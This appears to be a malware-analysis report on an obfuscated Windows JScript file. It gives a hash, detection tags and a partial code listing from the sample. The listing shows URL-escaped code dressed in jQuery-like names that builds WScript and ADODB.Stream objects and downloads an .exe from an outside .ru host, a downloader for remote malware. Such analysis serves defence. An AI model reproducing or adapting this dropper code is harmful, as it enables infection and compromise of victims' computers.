20160328_1086260456aeac6c963d277541951b6a.js
Obfuscated WScript shellcode execution
eval() executing transformed codeCalls JavaScript unescape
SHA-256a28e6bdca6e182ac4e1f6802c631dd730b69d1b10f5c645234974014466e0a13
MaleculeO(Xe)H₃(Db₃FPo)Md
Evidence
1eval(complete("var%20checkNonElements%20%3D%20%28%22/np%22%29%3Bbooleans%20%3D%20%28%22.s%22%29%3Bvar%20rhash%20%3D%20%28%22/%22%29%2C%20nodeValue%20%3D%20%28%22WSc%22%29%2C%20origCount%20%3D%20%28%22Body%22%29%2C%20rfocusable%20%3D%20%28%22osoft.%22%29%2C%20_queueHooks%20%3D%20%28505%29%2C%20cssText%20%3D%20%28%22andEn%22%29%3Bvar%20createPositionalPseudo%20%3D%20%28%22Sl%22%29%2C%20rbuggyMatches%20%3D%20%28%22ont%22%29%2C%20prepend%20%3D%20%282%29%2C%20tuples%20%3D%20%28%22ADOD%22%29%2C%20unbind%20%3D%20%28%22p%22%29%3Bvar%20style%20%3D%20%280%29%2C%20closest%20%3D%20 …
2:45… extUntil.xhrSupported();
3apply(rfocusable, _jQuery, selection);
4pixelMarginRightVal();
5round(visibility, matcherFromGroupMatchers, guaranteedUnique, andSelf, visibility);
6n(newUnmatched, ajaxHandleResponses, onerro …
⋯9 lines
30
31function n(removeAttr, l, response) {
32 rtypenamespace(complete("fired%20%3D%20context%5B%22WScri%22%20+%20onreadystatechange%5D%5B%22Cre%22%20+%20ajaxPrefilter%20+%20%22ect%22%5D%28tuples%20+%20%22B.St%22%20+%20visibility%20+%20%22m%22%29%3B"));
33}
34
35function complete(unit) {
36 return unescape(unit);
37}
38
39function scale() {
40 rtypenamespace(complete("related%5Bclosest%20+%20%22p%22%20+%20getJSON%20+%20%22n%22%5D%28lock%20+%20%22T%22%2C%20tick%20+%20%22p%3A/%22%20+%20checkNonElements%20+%20%22o122%22%20+% …
44:150… 9%3B"));
45}
46
47function combinator(dirrunsUnique, actualDisplay) {
48 rtypenamespace(complete("send%28val%20+%20%22/npo%22%20+%20ajaxHandleResponses%20+%20%22mr.ru/%22%20+%20cssPrefixes%20+%20%22.exe%22%29%3B"));
49}
50
51function Data(elements, boxSizingReliable) {
52 rtypenamespace(complete("related …